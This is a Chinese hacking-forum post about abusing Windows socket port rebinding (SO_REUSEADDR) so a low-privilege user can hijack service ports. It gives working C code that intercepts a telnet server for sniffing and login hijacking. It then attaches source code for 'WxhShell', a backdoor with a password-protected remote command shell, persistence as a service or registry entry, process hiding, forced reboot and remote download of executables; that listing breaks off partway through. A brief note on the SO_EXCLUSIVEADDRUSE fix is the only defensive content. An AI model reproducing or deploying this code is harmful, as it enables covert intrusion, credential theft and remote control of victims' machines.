社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19308阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .^N#|hp^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ek B6- nz  
~a8G 5M  
  saddr.sin_family = AF_INET; +{Vwz  
XB!`*vZ/<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Oz9Mqcx  
X-ki%jp3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h7W%}6Cqkw  
+O!M>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M-qxD"VtV=  
}2!5#/^~  
  这意味着什么?意味着可以进行如下的攻击: EBL,E:_)  
V jB`~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '__3[D  
a a Y Q<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m|cWX"#g  
v[yTk[zd0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <}Wy;!L  
6<Pg>Bg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {@K2WB  
SeJFZ0p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oFY'Ek;d  
EW YpYMkm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wtRAq/  
_\u'~wWl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'jfI1 ]q  
RJSNniYr7  
  #include 2.2 s>?\  
  #include eLl ;M4d  
  #include `+i<:,z-gs  
  #include    $e0sa=/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HPu nNsA  
  int main() /J5wwQ (:  
  { ZfIQ Fh>  
  WORD wVersionRequested; ;[%AeN5W  
  DWORD ret; R{Cj]:Ky  
  WSADATA wsaData; iao_w'tJ  
  BOOL val; \GBv@  
  SOCKADDR_IN saddr; Vbz$dpT  
  SOCKADDR_IN scaddr; wl}Q|4rZ  
  int err; ve'hz{W  
  SOCKET s; 6J-tcL*4"%  
  SOCKET sc; -k!UcMWP  
  int caddsize; Pq !\6s@  
  HANDLE mt; i]YH"t8GY  
  DWORD tid;   Dy0RZF4_  
  wVersionRequested = MAKEWORD( 2, 2 ); VYik#n>|Gp  
  err = WSAStartup( wVersionRequested, &wsaData ); 8BBuYY {  
  if ( err != 0 ) { 0riTav8  
  printf("error!WSAStartup failed!\n"); ~ M@8O  
  return -1; Br;1kQ%eC  
  } 9Yd<_B#  
  saddr.sin_family = AF_INET; $M#G;W5c  
    ig jr=e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,D;d#fJ  
>'7Icx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '\=aSZVO  
  saddr.sin_port = htons(23); mM!Gomp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -=@d2LY  
  { D8G5,s-.  
  printf("error!socket failed!\n"); `Z0FQ( r_  
  return -1; [Vc8j&:L  
  } M;-PrJdyt  
  val = TRUE; (HDR}!.E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &r do Mc;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wv8?G~>  
  { PsaKzAg?  
  printf("error!setsockopt failed!\n"); Y2W|b5  
  return -1; xo a1='  
  } +9<"Y6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O,x[6P54P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X0.kQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <Y:{>=  
Y;-$w|&P>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =+DfIO  
  { g1Ed:V]_  
  ret=GetLastError(); kNR -eG  
  printf("error!bind failed!\n"); 0*]n#+=  
  return -1; UQ c!"D  
  } uGOED-@  
  listen(s,2); kOdXbw9v  
  while(1) 1-0tG+  
  { ' Dcj\=8  
  caddsize = sizeof(scaddr); xsu9DzPf&{  
  //接受连接请求 jVi> 9[rz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fG9 ;7KG  
  if(sc!=INVALID_SOCKET) 2. '` mGu  
  { /o OZ>B%1s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2,aH1Xbex  
  if(mt==NULL) }C4wED.  
  { R!f<6l8#W  
  printf("Thread Creat Failed!\n"); YLJ^R$pi  
  break; `>)[UG!:|  
  } mC2K &'[  
  } }D>#AFs6#  
  CloseHandle(mt); ysapvQN_6  
  } |;:g7eb  
  closesocket(s); .DNPL5[v  
  WSACleanup(); 7UIf   
  return 0; NNt  n  
  }   c+ D <  
  DWORD WINAPI ClientThread(LPVOID lpParam) <Pzy'9  
  { \~RDvsSD  
  SOCKET ss = (SOCKET)lpParam; }@eIO|  
  SOCKET sc; n{u\t+f  
  unsigned char buf[4096]; sSd/\Ap  
  SOCKADDR_IN saddr; .G.WPVE  
  long num; 28k=@k^q  
  DWORD val; 8EI9&L>  
  DWORD ret; _%q~K (::  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F+"_]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   > vdmN]  
  saddr.sin_family = AF_INET; z',Fa4@z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8N%nG( 0  
  saddr.sin_port = htons(23); s1q8r!2\w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (:aU"5M  
  { l+[:Cni  
  printf("error!socket failed!\n"); NMe{1RM  
  return -1; Fvf |m7  
  } ]} dQ~lOE  
  val = 100; 9.8%Iw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t;BUZE_!0c  
  { ;-6-DEL  
  ret = GetLastError(); 4vEP\E3u<j  
  return -1; B*N1)J\5  
  } +LF#XS@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -QroT`gy  
  { ;I&VpAPx  
  ret = GetLastError(); AH|gI2  
  return -1; 4qE95THB  
  } '`3#FCg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )\|+G5#`  
  { MfP)Pk5  
  printf("error!socket connect failed!\n"); Xx"<^FS[zC  
  closesocket(sc); )P$|9<_q7x  
  closesocket(ss); < cvh1~>(  
  return -1; X/yq<_ g  
  } sU"%,Q5  
  while(1) f#= c=e-A  
  { HwFX,?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xSm;~')g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g w" \pD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GC{M"q|_  
  num = recv(ss,buf,4096,0); ZEAUoC1E1  
  if(num>0) Ot2o=^Ng  
  send(sc,buf,num,0); 5~|{:29X  
  else if(num==0) |^6{3a  
  break; _!nsEG VV  
  num = recv(sc,buf,4096,0); ){*+s RBW  
  if(num>0) u= NLR\  
  send(ss,buf,num,0); O$<>v\NC?  
  else if(num==0) lH}KFFbp  
  break; {'5"i?>s0>  
  } Upe}9xf  
  closesocket(ss); qhEv6Yxfw6  
  closesocket(sc); `7CK;NeT  
  return 0 ; c+ oi8G  
  } 6qWUo3  
K:wI'N"N  
FTf#"'O  
========================================================== x4oWZEd  
u^1#9bAW8  
下边附上一个代码,,WXhSHELL  lN,?N{6s  
CkT(\6B-  
========================================================== o4);5~1l  
,#K/+T  
#include "stdafx.h" S/nPK,^d2  
x HRSzYn$  
#include <stdio.h> [_,as  
#include <string.h> #Wk=y?sn  
#include <windows.h> YmziHns`b  
#include <winsock2.h> hF%M!otcJ-  
#include <winsvc.h> fw%`[( hK  
#include <urlmon.h> 6l#x1o;  
9iA rBL"  
#pragma comment (lib, "Ws2_32.lib") ?sf<cFF  
#pragma comment (lib, "urlmon.lib") Wg']a/m  
Ri.tA  
#define MAX_USER   100 // 最大客户端连接数 @(3F4Z.i%.  
#define BUF_SOCK   200 // sock buffer szI7 I$Qb  
#define KEY_BUFF   255 // 输入 buffer f"Zl JVa  
" kDiK`i  
#define REBOOT     0   // 重启 a.Ho>(V/4  
#define SHUTDOWN   1   // 关机 %6UF%dbYH`  
'! [oLy  
#define DEF_PORT   5000 // 监听端口 UUah5$Iy  
{]0e=#hw  
#define REG_LEN     16   // 注册表键长度 =Zd(<&B K  
#define SVC_LEN     80   // NT服务名长度 w!.@64-  
p0+^wXi)  
// 从dll定义API E+f)Zg :  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G t w>R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !wAT`0<94F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,,H"?VO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w5@ 5"M  
(]|h6aI'}  
// wxhshell配置信息 k3~9;Z  
struct WSCFG { o[|[xuTm  
  int ws_port;         // 监听端口 K7 e~%mY  
  char ws_passstr[REG_LEN]; // 口令 ex3Qbr  
  int ws_autoins;       // 安装标记, 1=yes 0=no }3pM,.  
  char ws_regname[REG_LEN]; // 注册表键名 S;|:ci<[=  
  char ws_svcname[REG_LEN]; // 服务名 ys[Li.s:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ll:UIxx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V%Uj\cv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Vuvbo   
int ws_downexe;       // 下载执行标记, 1=yes 0=no v+c>iI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x 7j#@C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $TQhr#C]  
Q8p6n  
}; Fn4v/)*H  
|3H+b,M5  
// default Wxhshell configuration HU3:6R&  
struct WSCFG wscfg={DEF_PORT, Bo 35L:r|  
    "xuhuanlingzhe", $( hT{C,K  
    1, _fAgp_)  
    "Wxhshell", jHLs 5%  
    "Wxhshell", 5&]5*;BvJ  
            "WxhShell Service", mU'<:gL+  
    "Wrsky Windows CmdShell Service", ^t >mdxuq  
    "Please Input Your Password: ", 2 $>DX\h  
  1, Fq9YhR  
  "http://www.wrsky.com/wxhshell.exe", 0|3I^b  
  "Wxhshell.exe" C2 N+X(  
    }; ZsmOn#`=^}  
tvkdNMyX%9  
// 消息定义模块 6j#JhcS+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y^. 66BH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z!p\=M,%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qi-XNB`b  
char *msg_ws_ext="\n\rExit."; f/Gx}x=  
char *msg_ws_end="\n\rQuit."; 3Ax'v|&Hg  
char *msg_ws_boot="\n\rReboot..."; VPLf(  
char *msg_ws_poff="\n\rShutdown..."; eP{srP3 9  
char *msg_ws_down="\n\rSave to "; blO4)7m  
aSR-.r  
char *msg_ws_err="\n\rErr!"; m</m9h8  
char *msg_ws_ok="\n\rOK!"; `Sod]bO +U  
b)w cGBS  
char ExeFile[MAX_PATH]; i'tMpS3  
int nUser = 0; $|4@Zx4vf  
HANDLE handles[MAX_USER]; Q|y }mC/  
int OsIsNt; w5FIHYl6B  
0K!3Ny9(  
SERVICE_STATUS       serviceStatus; FU`(mQ*Yd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $8EEtr,!  
0G%9 @^B  
// 函数声明 )p& g!qA  
int Install(void); 5LeZ ?'"c  
int Uninstall(void); 2& Q\W  
int DownloadFile(char *sURL, SOCKET wsh); d^=BXC oC  
int Boot(int flag); F.s$Y+c!6  
void HideProc(void); dQ:,pe7A  
int GetOsVer(void); [4KQcmJc#  
int Wxhshell(SOCKET wsl); \;;M")$  
void TalkWithClient(void *cs); +qi& ?}  
int CmdShell(SOCKET sock); *v<f#hB"  
int StartFromService(void); 5Cf!NNV  
int StartWxhshell(LPSTR lpCmdLine); unDW2#GX  
iTxWXij  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s 6Wp"V(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bk8}K=%w  
}D1x%L  
// 数据结构和表定义 q~{) {t;  
SERVICE_TABLE_ENTRY DispatchTable[] = LKN7L kl  
{ c[@_t.%)  
{wscfg.ws_svcname, NTServiceMain}, 5D s[?  
{NULL, NULL} ;`AB-  
}; ixTjXl2g  
2m Y!gVi  
// 自我安装 Sv=YI  
int Install(void) iSfRJ:_&6  
{ G?4@[m  
  char svExeFile[MAX_PATH]; m:BzIcW<\  
  HKEY key; fe .=Z&  
  strcpy(svExeFile,ExeFile); _|~Dj)z  
:8S;34Y;  
// 如果是win9x系统,修改注册表设为自启动 /*C!]Z>.  
if(!OsIsNt) { ` w;Wud'*<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1$cl "d`~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fECV\Z  
  RegCloseKey(key); QO@86{u#Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pl8b&bLzi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n"iS[uj,  
  RegCloseKey(key); 'O a3 6@  
  return 0; eP~bl   
    } PRfq_:xy  
  } r3V1l8MV  
} `IN!#b+Eo  
else { lpT&v ;$`  
Om.%K>V  
// 如果是NT以上系统,安装为系统服务 aEf3hB*~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l|q-kRRjn  
if (schSCManager!=0) Bzz|2/1y  
{ &l6@C3N$  
  SC_HANDLE schService = CreateService $Sc_E:`]  
  ( ]m_x;5s $  
  schSCManager, %9YY \a {  
  wscfg.ws_svcname, $}fY B/  
  wscfg.ws_svcdisp, agq4Zy  
  SERVICE_ALL_ACCESS, tns4e\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G_M8? G0  
  SERVICE_AUTO_START, DPkH:X  
  SERVICE_ERROR_NORMAL, xUTTRJ(\  
  svExeFile, -`NzBuV$2,  
  NULL, xz~Y %Y|Z  
  NULL, [c XSk  
  NULL, _T_} k:&X  
  NULL, y#= j{  
  NULL csA-<}S5]b  
  ); *m2?fP\  
  if (schService!=0) 7EVB|gTp  
  { 13 %: 3W(  
  CloseServiceHandle(schService); 06?d#{?M1o  
  CloseServiceHandle(schSCManager); ,N nh$F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IZGRQmi"  
  strcat(svExeFile,wscfg.ws_svcname); -!V{wD3,B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]^Xj!01~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DS_0p|2  
  RegCloseKey(key); 8m?cvI  
  return 0; Zy.3yQM9i  
    } !,C8  
  } ?6HnN0A)  
  CloseServiceHandle(schSCManager); [7NO !^  
} 4aW[`  
} xSDTO$U8%  
yivWT;`  
return 1; { `xC~B h  
} IfT: 9 &  
-<sW`HpD'  
// 自我卸载 c?KIHZ0  
int Uninstall(void) c&Eva  
{ jeB"j  
  HKEY key; X\>/'fC$  
KzJJ@D*4M]  
if(!OsIsNt) { JcMl*k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jfVw{\l  
  RegDeleteValue(key,wscfg.ws_regname); FGhnK'  
  RegCloseKey(key); RS@[ +!:t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.+%{_pe  
  RegDeleteValue(key,wscfg.ws_regname); YQWq*o^:  
  RegCloseKey(key); &C)97E  
  return 0; "rfBYl`  
  } !R gj'{  
} 8'NT_NPNb  
} 4j'`,a=  
else { i r'C(zD=  
BR_fOIDc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LFr$h`_D5  
if (schSCManager!=0) W Q9Q:F2  
{ t*dq*(3"c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); URt+MTU[  
  if (schService!=0) Z3=N= xY]  
  { `C$QR 8  
  if(DeleteService(schService)!=0) { w9mAeGyE  
  CloseServiceHandle(schService); 7 toIbC#  
  CloseServiceHandle(schSCManager); Xbrc_ V\_  
  return 0; 9XhH*tBn7(  
  } ==oJhB  
  CloseServiceHandle(schService); UoUQ6Ij  
  } rq Uk_|Xa  
  CloseServiceHandle(schSCManager); 0Wc_m;  
} gvD*^  
} ,el[A`b  
c=QN!n:  
return 1; "@|rU4Y  
} ReL+V  
c-!3wvt)  
// 从指定url下载文件 .:GOKyr(~  
int DownloadFile(char *sURL, SOCKET wsh) k*!iUz{]  
{ .p?SPR  
  HRESULT hr; jSRi  
char seps[]= "/"; y~wr4Q=  
char *token; SqdI($F\:  
char *file; cMoJHC,!  
char myURL[MAX_PATH]; CS5[E-%}T=  
char myFILE[MAX_PATH]; @A<~bod  
euW   
strcpy(myURL,sURL); Azp!;+  
  token=strtok(myURL,seps); "WO0 rh`  
  while(token!=NULL) Fs(S!;  
  { qZ +K4H  
    file=token; F%af05L[  
  token=strtok(NULL,seps); ET 0(/Zz  
  } i[ws%GfEv  
KmM:V2@A$  
GetCurrentDirectory(MAX_PATH,myFILE); D*?LcxX  
strcat(myFILE, "\\"); ll- KK`Ka  
strcat(myFILE, file); b`,Sd.2=('  
  send(wsh,myFILE,strlen(myFILE),0); N93R(x)%  
send(wsh,"...",3,0); =dQ/^C_hj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zMBGpqdP  
  if(hr==S_OK) fny6`_O  
return 0; C5$?Y8B3  
else o;#8=q  
return 1; 3(vm'r&5n>  
VeZd\Oe  
} +dRRMyxe4  
[TFp2B~)#  
// 系统电源模块 q^n LC6q  
int Boot(int flag) 1<MJ3"60  
{ 7Cbr'!E\_V  
  HANDLE hToken; t)g %9 k^  
  TOKEN_PRIVILEGES tkp; J&}1=s  
/=A@O !l  
  if(OsIsNt) { 2;3&&yK2b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B., BP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  H{Lt,#  
    tkp.PrivilegeCount = 1; jp@X,HES  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]=I2:Rb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a1u4v/Qu9  
if(flag==REBOOT) { aNQ(xiskb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]` A*7  
  return 0; rOO10g  
} -yg;,nCg  
else { P4c3kO0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [KbLEMrPba  
  return 0; !|]k2=+I  
} B4+c3M\$V  
  } ko'V8r `V  
  else { jsr)  
if(flag==REBOOT) { GC3d7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |ITb1O`_P  
  return 0; zb02\xvf  
} Tyb'p9  
else { qQO*:_ezzk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Aw4)=-LKO  
  return 0; g 2'K3e?.%  
} "&^KnWk=  
} a|3+AWL%  
[fb9;,x`  
return 1; >1]hR)Ip  
} TL7qOA7^X  
$vYy19z  
// win9x进程隐藏模块 $#W^JWN1  
void HideProc(void) ui|6ih$+  
{ 5nceOG8  
tx`^'%GMA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b].U/=Hs  
  if ( hKernel != NULL ) Fl{~#]  
  { MTgf.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KZ^>_K&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0JR)-*  
    FreeLibrary(hKernel); @KLX,1K  
  } Az#kE.8b*A  
BePb8 k<y  
return; 48G^$T{  
} ]*U; }  
]6|?H6'/`v  
// 获取操作系统版本 erTly2-SJ  
int GetOsVer(void) FB>P39u  
{ Xa$%`  
  OSVERSIONINFO winfo;  w+5OI9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ';D>Z ?l  
  GetVersionEx(&winfo); U-f8 D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )qFqf<:yc  
  return 1; `w@z Fc!"  
  else HxL uJ  
  return 0; .N\t3\9}  
} 'X/:TOk{W  
> #9 a&O  
// 客户端句柄模块 Ep')@7^n  
int Wxhshell(SOCKET wsl) O(.eHZ=  
{ cP@H8|c=  
  SOCKET wsh; gQY`qz  
  struct sockaddr_in client; s`.J!^u`  
  DWORD myID; p#r qe<Ua  
G2@'S&2@s  
  while(nUser<MAX_USER) HyYJ"54  
{ pXh`o20I  
  int nSize=sizeof(client); JEZ0O&_R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3(.Y>er%U  
  if(wsh==INVALID_SOCKET) return 1; UalwK  
Jk{v (W#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G-]_ d  
if(handles[nUser]==0) JZ-64OT  
  closesocket(wsh); %6M%PR~u  
else "l#"c{ee{  
  nUser++; Lc-Wf zT  
  } jr-9KxE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YuzVh9jTI  
:inVwc  
  return 0; RgM=g8}M  
} mU||(;I  
W}(T5D" 3x  
// 关闭 socket ZR{YpLFQ  
void CloseIt(SOCKET wsh) F^}d>2W(  
{ W3%RB[s-  
closesocket(wsh); ^ b=;  
nUser--; @XcrHnH9  
ExitThread(0); CWd &  
} " Z dI~  
/WX&UAG  
// 客户端请求句柄 2IkyC`  
void TalkWithClient(void *cs) yy3`E}vX7  
{ r.=.,R  
>+:cTQ|q  
  SOCKET wsh=(SOCKET)cs; AOTtAV_e  
  char pwd[SVC_LEN]; %S>6Q^B  
  char cmd[KEY_BUFF]; Dx9k%G)!  
char chr[1]; 7+6I~&x!Lz  
int i,j; E?Qg'|+_  
iI*qx+>f?  
  while (nUser < MAX_USER) { !rG-[7K  
,1v FX$  
if(wscfg.ws_passstr) { /}CAd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B.gEV*@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yb:F,d-Ya  
  //ZeroMemory(pwd,KEY_BUFF); D>-Pv-f/  
      i=0; byZj7q5&Q  
  while(i<SVC_LEN) { 'RV wxd  
?]TtUoY=)F  
  // 设置超时 =">0\#  
  fd_set FdRead; `+UBl\j  
  struct timeval TimeOut; {D [z>I;D  
  FD_ZERO(&FdRead); N Zwi3  
  FD_SET(wsh,&FdRead); /6 y;fx  
  TimeOut.tv_sec=8; X7MA>j3m  
  TimeOut.tv_usec=0; 9h6siK(F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w`zS`+4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UHIXy#+o5  
G^/8^Zi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o$}$Z&LK  
  pwd=chr[0]; 9*r l7  
  if(chr[0]==0xd || chr[0]==0xa) { ~ D/1U)kt  
  pwd=0; ~P*{%=a  
  break; 3i9~'j;F3  
  } r8o^8.  
  i++; OgCNq W d-  
    } aZo>3z;  
vJb/.)gh]  
  // 如果是非法用户,关闭 socket &uf|Le4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4-C'2?  
} #smfOGSd  
5hDPX \  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V7 hO}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +.xK`_[M  
lKS 2OOYC`  
while(1) { 3u,B<  
]qEg5:yY  
  ZeroMemory(cmd,KEY_BUFF); ~/2OK!M  
5wv7]F<  
      // 自动支持客户端 telnet标准   Y&$puiH-j  
  j=0; U8<C4  
  while(j<KEY_BUFF) { CH5>u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }8`>n4  
  cmd[j]=chr[0]; GX*9R>  
  if(chr[0]==0xa || chr[0]==0xd) { X*hPE=2` p  
  cmd[j]=0; zbvV:9N  
  break; +IlQZwm~  
  } [|(=15;  
  j++; 0*AXd=)"*  
    } \\`(x:\  
.k|\xR  
  // 下载文件 NGW:hgf  
  if(strstr(cmd,"http://")) { ?0lz!Nq'S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nc?'},  
  if(DownloadFile(cmd,wsh)) F|8;Swb5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @H}Hjg_>m  
  else U+!&~C^y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8wn{W_5a  
  } Fj"/jdM  
  else { Uyd'uC  
Au:R]7   
    switch(cmd[0]) { kX+98?h-C  
  M6].V*k'2  
  // 帮助 '@HCwEuz  
  case '?': { 0: B%,n UM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6r`Xi&  
    break; .-Dc%ap]  
  } GH`y-Ul'K  
  // 安装 #+p-  
  case 'i': { 7I'C'.6iM  
    if(Install()) w&p(/y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/O/*^T  
    else ` 6*]cn#(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&x!m}!  
    break; MTCfs~}m  
    } _~;%zFX  
  // 卸载 wEM=Tr/h  
  case 'r': { _"B.V(  
    if(Uninstall()) ssx#|InY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Z3K ~  
    else #:0-t!<0C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O+|C<;K  
    break; 0&|0l>wy.  
    } dt:$:,"   
  // 显示 wxhshell 所在路径 cjPXrDl{\  
  case 'p': { #f) TAA  
    char svExeFile[MAX_PATH]; H}5WglV.  
    strcpy(svExeFile,"\n\r"); i(;`x  
      strcat(svExeFile,ExeFile); h#O9TB  
        send(wsh,svExeFile,strlen(svExeFile),0); p>+9pxx~U  
    break; $Y6\m`  
    } [Cv./hEQi  
  // 重启 B8T$<  
  case 'b': { ').) 0;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }q@#M8b  
    if(Boot(REBOOT)) 2=Naq Ht(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $\h-F8|JMX  
